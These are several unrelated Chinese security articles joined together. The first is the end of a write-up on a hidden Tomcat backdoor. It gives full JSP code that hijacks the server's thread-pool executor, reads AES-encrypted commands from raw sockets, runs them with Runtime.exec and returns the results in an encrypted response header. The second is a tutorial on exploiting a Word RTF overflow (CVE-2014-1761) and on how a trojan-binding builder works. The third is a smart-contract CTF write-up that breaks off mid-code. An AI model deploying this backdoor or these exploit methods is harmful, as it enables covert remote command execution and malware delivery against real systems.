执行完毕后，SocketProcessor对象会通过process方法将我们的socketWrapper送往真正进行socket处理的processor组件：
socket处理：
最终的read在fill()方法中实现：
private boolean fill(boolean block) throws IOException {
if (log.isDebugEnabled()) {
log.debug("Before fill(): parsingHeader: [" + this.parsingHeader + "], parsingRequestLine: [" + this.parsingRequestLine + "], parsingRequestLinePhase: [" + this.parsingRequestLinePhase + "], parsingRequestLineStart: [" + this.parsingRequestLineStart + "], byteBuffer.position(): [" + this.byteBuffer.position() + "], byteBuffer.limit(): [" + this.byteBuffer.limit() + "], end: [" + this.end + "]");
}
if (this.parsingHeader) {
if (this.byteBuffer.limit() >= this.headerBufferSize) {
if (this.parsingRequestLine) {
this.request.protocol().setString("HTTP/1.1");
}
throw new IllegalArgumentException(sm.getString("iib.requestheadertoolarge.error"));
}
} else {
this.byteBuffer.limit(this.end).position(this.end);
}
int nRead = true;
this.byteBuffer.mark();
int nRead;
try {
if (this.byteBuffer.position() < this.byteBuffer.limit()) {
this.byteBuffer.position(this.byteBuffer.limit());
}
this.byteBuffer.limit(this.byteBuffer.capacity());
nRead = this.wrapper.read(block, this.byteBuffer);
} finally {
this.byteBuffer.limit(this.byteBuffer.position()).reset();
}
if (log.isDebugEnabled()) {
log.debug("Received [" + new String(this.byteBuffer.array(), this.byteBuffer.position(), this.byteBuffer.remaining(), StandardCharsets.ISO_8859_1) + "]");
}
if (nRead > 0) {
return true;
} else if (nRead == -1) {
throw new EOFException(sm.getString("iib.eof.error"));
} else {
return false;
}
}
调用栈如下：
最终通过Socket读取到的最原始的request数据被放入各实例的缓存buffer中：
最后调用invoke方法交给Container处理：
so，观察一下前文的代码，我们执行的位置是在Executor，这个时候Socket流中的数据还没有被read，通过线程遍历获取到的request其实是前一次（或者前几次，跟线程数有关）的缓存数据，所以获取命令需要我们多次进行request请求。
艰难的解决之路
在写这个part之前，其实我并不知晓socket的核心处理点在何处。不得不说偏执是快速解决问题的最大阻碍，通过类似如下的调试代码，我逐一比对buffer部分的变化情况：
byte[] bytes = new byte[10000];
ByteBuffer buf = ByteBuffer.wrap(bytes);
LinkedList linkedList = (LinkedList) getField(getField(getField((Poller)threads[5].target,"selector"),"kqueueWrapper"),"updateList");
for(Object obj : linkedList){
SelectionKey[] selectionKeys =(SelectionKey[]) getField(getField(obj,"channel"),"keys");
for (Object tmp :selectionKeys){
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp,"attachment");
nioSocketWrapper.read(false,buf);
}
}
//new String(buf.array(),"UTF-8");
最终才发现，socket的处理点在Executor的处理之后而非之前。
从buffer中获取当次request的想法应该是幻灭了，那么从socket下手又如何呢？
**Find Real Socket**
之前我固执的认为，Acceptor组件应该为Container处理逻辑的核心，理应重点从其中寻找想要的对象。
但经过测试发现，从Accpetor中获取的Socket无一例外都已处于closed状态，无法重新read（即使通过反射修改其状态，EndPoint组件也会立即抛出异常。）
在重新审视Tomcat的处理逻辑后，最终在Poller中发现了我们的Real NioSocketWrapper对象：
通过其read方法可成功获取当次的request请求：
但这会导致一个问题，由于在Processor组件对socket处理之前我们就已进行过一次read，后续的处理逻辑势必无法再次获取已读取过的request数据：
这该如何解决？
在翻看代码的过程中，我发现NioSocketWrapper父类SocketWrapperBase中，有一个方法名为unRead：
通过查找资料后发现与猜想中的作用大致相同：将已读取过的read数据重新放回socket。
经过测试该方法可行，于是最终实现的代码为：
public String getRequest2(){
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Poller")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192];//Tomcat的NioSocketWrapper中默认buffer大小
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList");
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys");
for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")));
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
// System.out.println(b);
// System.out.println(new String(buf.array(), "UTF-8"));
return b;
}
else{
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
nioSocketWrapper.unRead(buf);
}
} catch (Exception e) {
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
} catch (Exception ignored) {
}
}
}
if (threadName.contains("exec")) {
return new String();
} else {
continue;
}
}
}
return new String();
}
上述代码中有一处
buf.position(0)的操作，其实是跟ByteBuffer的本身结构与read的实现逻辑有关，具体就不展开了，感兴趣的师傅可以跟一下过程。
以url中结尾的数字来测试实效性：
**jsp2.0**
另外由于Tomcat在实现默认线程池与自定义线程池时所用的Executor有些许差别，已在代码中进行修改。
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="com.example.java_backdoor.Executor_ms" %>
<%@ page import="org.apache.catalina.core.StandardThreadExecutor" %>
<%@ page import="java.util.LinkedList" %>
<%@ page import="java.nio.channels.SelectionKey" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static final String DEFAULT_SECRET_KEY = "blueblueblueblue";
private static final String AES = "AES";
private static final byte[] KEY_VI = "blueblueblueblue".getBytes();
private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();
private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();
public static String decode(String key, String content) {
try {
javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));
byte[] byteContent = base64Decoder.decode(content);
byte[] byteDecode = cipher.doFinal(byteContent);
return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static String encode(String key, String content) {
try {
javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));
byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);
byte[] byteAES = cipher.doFinal(byteEncode);
return base64Encoder.encodeToString(byteAES);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
public class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
public String getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String a = new String(heapByteBuffer.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1);
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1);
b = decode(DEFAULT_SECRET_KEY, b);
return b;
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
return new String();
}
public String getRequest2(){
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Poller")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList");
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys");
for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")));
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
System.out.println(b);
System.out.println(new String(buf.array(), "UTF-8"));
return b;
}
else{
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
nioSocketWrapper.unRead(buf);
}
} catch (Exception e) {
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
} catch (Exception ignored) {
}
}
}
if (threadName.contains("exec")) {
return new String();
} else {
continue;
}
}
}
return new String();
}
public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY,new String(res, "UTF-8")));
}
} catch (Exception var11) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}
@Override
public void execute(Runnable command) {
// System.out.println("123");
String cmd = getRequest2();
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException e) {
e.printStackTrace();
}
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
try {
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
}catch (ClassCastException e){
StandardThreadExecutor standardexec = (StandardThreadExecutor) getField(nioEndpoint, "executor");
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(standardexec, "executor");
Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
}
%>
public String getRequest2(){
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Poller")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList");
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys");
for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")));
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
System.out.println(b);
System.out.println(new String(buf.array(), "UTF-8"));
return b;
}
else{
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
buf.position(0);
nioSocketWrapper.unRead(buf);
}
} catch (NoClassDefFoundError e) {
KeyAttachment keyAttachment = (KeyAttachment) getField(tmp, "attachment");
NioChannel nioChannel = keyAttachment.getSocket();
try {
nioChannel.read(buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")));
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioChannel.getBufHandler().getReadBuffer().put(buf);
System.out.println(b);
System.out.println(new String(buf.array(), "UTF-8"));
return b;
}
else{
buf.position(0);
nioChannel.getBufHandler().getReadBuffer().put(buf);
continue;
}
} catch (Exception b) {
buf.position(0);
nioChannel.getBufHandler().getReadBuffer().put(buf);
}
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
} catch (Exception ignored) {
}
}
}
if (threadName.contains("exec")) {
return new String();
} else {
continue;
}
}
}
return new String();
}
**后记**
仍请忽略我拙劣的coding能力，代码中仍存在一些问题（比如回显size过大导致的response header溢出错误。）
ps：更正一个错误，Tomcat8.0以前版本在处理io时直接使用NioChannel.read(buf)作为获取数据流的方法，而不同于8.5版本使用封装类SocketWrapperBase，故其中的处理逻辑不支持read()后将buf再重新放回原有的socket（这个说法其实并不准确，其实是tomcat在SocketWrapperBase中手动实现了一个transform方法将已读出的read数据放入后续需要进行处理的read
buffer中），所以对于8.0以前的版本文中所提到的截获socket的方法可能并不适用，还是得使用缓存实现。 | 社区文章 |
# 【技术分享】手把手教你如何构造office漏洞EXP（第三期）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **维一零** ****](http://bobao.360.cn/member/contribute?uid=32687245)
**稿费：700RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**传送门**
[**【技术分享】手把手教你如何构造office漏洞EXP（第一期）**
****](http://bobao.360.cn/learning/detail/3003.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第二期）**
****](http://bobao.360.cn/learning/detail/3009.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第四期）**
****](http://bobao.360.cn/learning/detail/3246.html)
在上一期的office漏洞分享中，介绍了传奇漏洞cve-2013-3906的技术框架，其中涵盖了不少溢出类漏洞的经典。这一期给大家带来的分享是CVE-2014-1761，这个漏洞严格的说来主要影响的是office套件中的word程序，不像前面两期的漏洞可以在office套件中的多种程序里利用。当然每个漏洞都有自己的特色，只要运用得当，每个漏洞终会出彩。下面本人还是遵循老套路，讲完原理谈利用，最后再给大家演示一下如何编写此漏洞的木马程序捆绑器（通过逆向一个生成器）。
**漏洞原理**
****
这次的漏洞发生在WWLIB.DLL这个动态库里面，从其版本信息也能看出它主要是服务于word程序的。事实上，这个漏洞是由于word程序在解析rtf这类文档格式的文件时发生的溢出，而word程序提供对rtf这类文档的支持正是通过WWLIB.DLL这个解析库来实现的。值得一提的是，这个解析库的代码异常庞大，文件本身就将近20MB的SIZE，通过IDA对其初步分析后保存的idb文件SIZE更是达到惊人的200多MB，从这点足可见这个解析库的强大之处了。回到漏洞本身来说，这个解析库虽然提供了对RTF文件这类比较复杂的文档格式的支持，但是百密总有一疏，虽然微软的格式文档中明确规定了listoverridecount这个rtf控制字的合法参数是0，1或9，不过在WWLIB.DLL中的实现并没有那么严格的校验，所以才导致这次的漏洞。
在word程序中，rtf文档的格式（样式）信息都存在编目表里，其中一种编目表叫“编目覆盖表”（overridetable），用来索引多个“编目覆盖项”（listoverride），而listoverridecount是在“编目覆盖项”中描述格式要被覆盖的层次（即“编目覆盖层”lfolevel）数目。正常情况下，word程序会先根据listoverridecount的参数来分配一块内存以便后面索引lfolevel，如下图：
可以看出，根据listoverridecount给每个lfolevel分配8字节的内存，一共分配了8*listoverridecount字节的内存。后面，程序会继续解析每个lfolevel，并将其索引到这块内存区域里：
只是，这里索引的时候并“没有严格”检查索引值edi是否超过listoverridecount规定的最大值，就直接不断的递增其值并拷贝新的数据到分配的内存中去。而由于这块内存是事先根据listoverridecount的值分配出来的，如果实际lfolevel的数量多于listoverridecount，则会发生内存拷贝溢出。
**构造触发漏洞的POC**
****
经过上面的分析认识到这个漏洞的成因，由于word程序对rtf文件解析的实现不严谨导致内存拷贝溢出。为了验证这个原理来触发漏洞，首先我们需要参考rtf文件格式的规范手册去了解一些相关的（参考上文提及）rtf控制字的含义，才能进一步根据需求去构造能引导程序行为的rtf文件。接着，根据漏洞的原理构造出一个最简单的rtf文件：
直接双击文件用word打开，发现并没有想象中的异常，word解析后显示如下：
上文提到索引lfolevel的时候没有进行严格的检查，实际上是有检查的，只不过检查的逻辑有种偷工减料的感觉，在调试器下原形毕露：
可以看到，在每个索引之前的检查，都是进行了两次重复的按位异或和按位与的运算，其中最后一次比较索引值和最大值之前的运算是将当前索引值与0x0F值按位与，得到的其实只是索引值的低4位值，并不能代表索引值的位置，这个所谓的检查也就不具备完整性。从这也可以看出上面构造的POC为什么lfolevel的数目（3个）明明超过listoverridecount（2），却没有溢出，正是在这里被“校验”了。换个参数再来，比如listoverridecount的值给一个大于0x0F的值17（0x11），lfolevel的数目调成大于22个，重新走一遍上面的流程就能发现，预期的崩溃果然发生了：
这样成功的原因有两个：第一就是上述的校验过程把索引0x11和0x0F进行与运算后，得到的0x1再来与最大值0x11比较判断有没有越界，当然就会陷入了死循环里，后面待索引的lfolevel数目再多，最终判定越界的条件也成立不了。第二就是之所以选取listoverridecount的值为17而不是16的原因，则和堆内存的分配策略有关，选取17分配出来的内存比较容易挨着其他对象堆块，这样后面可以节省不少用于覆盖内存对象的lfolevel数量（本人实测参数为16的话，lfolevel数量要300多个以上才能溢出崩溃）。
**漏洞利用**
****
到这里其实还是和上一期差不多，现在相当于得到了一个堆内存越界拷贝漏洞，所以后面的利用思路实际上在大方向上也差不多（覆盖内存对象拿eip+布局代码）。当然，由于利用的环境有所不同，实现的方式也就有所区别。从上文构造POC的过程中可以看出，listoverridecount的参数会影响内存分配的位置，所以就会间接的影响我们想要某个覆盖对象虚表指针的需求；而lfolevel数量则影响内存对象的覆盖，过少的话会因为小于listoverridecount而触发不了漏洞，过多则可能触发其他异常检查代码直接崩溃。因此，对下面的利用来说这组参数的数值设定尤其重要。
由于这个漏洞具有特殊性，本次漏洞利用不需要自己额外构造覆盖的对象，而是可以覆盖已经存在的内存对象，这里直接给出一组在xp
sp3下可用的参数值25和34（即listoverridecount为25，lfolevel的数量为34）。至于如何找到这组参数值得思考，其中既有运行环境的因素也有内存分配算法的因素，这里不作细解，只需要知道参数设定好后就能直接引起一个内存对象虚表指针被覆盖，最终得以劫持eip：
这样，就可以通过控制索引区覆盖的数据来劫持eip了。紧接着两个面临的问题，一个是覆盖的数据为lfolevel的索引数据，如何修改成我们需要的eip数据；第二就是普遍的shellcode代码布置问题，也是eip值的设定问题。很幸运，这两个问题都可以通过一种方式同时解决，那就是通过rtf控制字功能来精确控制特定区域的内存数据。这里需要说明的是，上述每个lfolevel索引最终得到的8字节数据中由于lfolevel没有子对象所以前4字节均为0；而如果lfolevel存在子对象，前4字节位置就可能是其一个子对象的地址如：
这个子对象的地址会指向一块可以通过控制字精确控制其数据的内存，于是，只要lfolevel子对象第二个双字的数据能够被精确构造，eip的值就能成功的被混淆而劫持到任意地址了。同理，由于子对象可以通过控制字写入内存数据，布置shellcode也就不成问题，再加上寄存器eax可以找到子对象的地址，也就有办法找到shellcode的地址，而构造ROP链所需的未开启aslr模块实际上也可以通过rtf控制字引入（如添加一个activeX控件类型的对象引入mscomctl.ocx模块）或者直接使用word程序本身。这样，除了如何准确构造lfolevel子对象的数据需要费一番调试以及查阅文档的功夫外，其他的都可以参考上期的方法去进行了。下面，直接给出一组子对象的构造示例（非EXP）以及对应的内存结构示意图仅供参考：
**捆绑木马程序**
****
前两期的漏洞分享中，漏洞利用的部分都是最后直接执行一个具有特定功能的（弹计算器）shellcode，其内部实现是解码需要的api然后调用system函数来打开外部程序。在实际环境中，payload部分经常是联网下载一个加密或未加密pe程序的downloader，或者直接将pe程序嵌入攻击文档中后面再分离出来运行。这样的好处就是灵活性比较高，不用费劲将所有的功能代码都在汇编级别的shellcode中实现。下面，当作本文漏洞分析的一个拓展，通过逆向一个不知名的木马捆绑工具来演示一下其实现的原理，了解本漏洞在实际场景中的运用。
以上就是这个exp工具的界面，虽然看起来比较简陋，却也勉强可用，能够将木马程序与正常文档绑定生成攻击文件，达到利用漏洞运行木马程序后再打开正常文档的效果。通过调试器打开后下个按钮点击事件的消息断点，就能慢慢窥探其中的实现细节了。该工具会从自身资源里取出一个模版文件new.doc，该文件其实就是根据上文分析的漏洞原理构造出来的一个exp框架，其文件结构大概如下图所示：
可以看出，其构造基本和上述一致，为了调用rop，前后共嵌入了两个activeX控件对象，确保mscomctrl.ocx模块会被加载。实际上，这个工具的操作过程，就是根据输入参数对模版文件的上述两个标颜色的区域进行修改，以配置不同的功能需求。以下介绍此工具精准构建动态shellcode和payload的一些细节。
首先，shellcode部分，代码应该是lfolevel子对象内的数据，具体地此exp是使用leveltext这个控制字来布置内存数据，所有shellcode在文件里看起来将是这样：
而这个工具使用的shellcode是以内联汇编代码的形式放在程序代码中，然后动态获取代码的位置后对其进行组合改造和编码，这样增加了程序的灵动性和可塑性：
组织完后再进行unicode编码输出到leveltext中：
然后是payload部分，程序将会根据用户指定的木马路径（以系统记事本程序为例），将木马文件读进内存与加载木马的shellcode代码进行拼接组装，并且对他们进行简单的异或加密：
当然，还有用于迷惑受害者的正常文档以及伪装的程序名参数，这些都是会一起加入shellcode的组装过程且进行异或加密后存放，这里限于篇幅就不作展示了。最后，象征性的上一个效果图吧：
**总结**
****
本文通过分析认识了rtf格式解析漏洞的机制，了解了word程序解析rtf文件格式在实现上存在的不足之处。整体上看，这个漏洞的成因还是缺乏校验的问题，导致内存数据可以被越界覆盖，而一旦可以越界，就总有办法控制对象的分布达到劫持程序控制权的目的。从另外一个角度来看，发现和利用了这个漏洞的人，能够在这么繁杂的代码中找到并巧妙的通过rtf的各类控制字精确的实现漏洞的稳定利用，不得不令人心生敬佩。当然，攻防无止境，剖析攻击的细节，是为了更好的防御。就本文的漏洞来说，其影响了office
word程序2003到2013之间的版本，根本原因还是由于这类溢出漏洞存在的通病：内存的分配和使用不够严格和规范。所以，规范的使用以及严格的检验才是相对根本的解决方式。
**
**
**传送门**
* * *
[**【技术分享】手把手教你如何构造office漏洞EXP（第一期）**
****](http://bobao.360.cn/learning/detail/3003.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第二期）**
****](http://bobao.360.cn/learning/detail/3009.html)
[**【技术分享】手把手教你如何构造office漏洞EXP（第四期）**](http://bobao.360.cn/learning/detail/3246.html) | 社区文章 |
# capture the ether write up(warmup and Math)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Capture the
Ether是一款在破解智能合约的过程中学习其安全性的游戏，跟ethernaut也类似，这是它的[地址](https://capturetheether.com/)。
个人感觉质量非常高，比其ethernaut更加贴近实战，因为题目比较多，下面主要先放出Math部分的write
up，这部分分值最高同时质量也相对较高，希望大家玩得愉快，其它部分等做完一起发吧
## Warmup
这一部分是上手的教程，玩过ethernaut的同学应该就很熟悉了，也是在Ropsten测试网上的练习，在这我也就不多讲了
### 0x1. Deploy a contract
第一步是了解怎么操作部署合约，关卡里也写得很清楚了，首先按照metamask，可以直接在chrome的扩展商店搜索安装，然后切换到Ropsten测试链，当然首先是创建钱包设置密码，然后点击Buy按钮去水龙头取一些ether回来
接下来点击页面右边的红色的deploy即可然后在弹出的交易确认里点击submit即可成功将页面所示的合约部署到测试链上，接下来再点击check并确认交易即可
### 0x2. Call me
这个挑战的目的是让你调用一下部署的合约里的callme函数，方法其实很多，比较简单的我们可以直接在remix里进行调用，将合约代码复制过去后，先编译一下，然后在Run里面将环境切换为injected
web3，然后在下面的deploy处将我们挑战的页面里给出的合约地址填上，点击at address即可
接下来在下方即可直接调用callme函数
调用之后点击isComplete就会发现已经变为true，然后即可返回挑战进行check
### 0x3. Choose a nickname
这一关是让我们设置自己的昵称，也就是在排行榜上显示的名字，其实也是调用个函数的事，操作跟上面一样，合约选择CaptureTheEther，地址填上，调用setNickname函数即可，注意参数填上自己昵称的16进制格式，然后用nicknameOf函数就能看到结果了
接下来返回挑战点击begin game按钮就会部署一个合约来检查你是否设置了昵称，check以后就能正式开始我们的闯关之旅了
## Math
这部分挑战是有关solidity中的数学运算
### 0x1. Token sale
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
这个挑战合约实现了一个基本的买卖过程，通过buy我们可以买入token，通过sell我们可以消耗token，而目标是使合约拥有的balance小于1
ether，因为我们部署合约时已经为合约存入了1 ether，所以目标就是如何动员这不属于我们的ether
既然是在math类型下，肯定要在合约的算术运算上找漏洞，这里很明显在buy函数内就存在上溢，关键就在于此处的判断
> require(msg.value == numTokens * PRICE_PER_TOKEN);
此处的msg.value是以ether为单位，因为一个PRICE_PRE_TOKEN就是1
ether，这里我们需要明白在以太坊里最小的单位是wei，所以此处的1 ether事实上也就是10^18 wei，即其值的大小为10^18
wei，这样就满足我们溢出的条件了，因为以太坊处理数据是以256位为单位，我们传入一个较大的numTokens，乘法运算溢出后所需的mag.value就非常小了
这里我们的numTokens就选择可以使该运算溢出的最小值，这样所需的value也最少，结果如下:
然后就可以去买token了
得到了巨多的token
然后sell 1个ether即可，毕竟也只能用这么多
### 0x2. Token whale
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
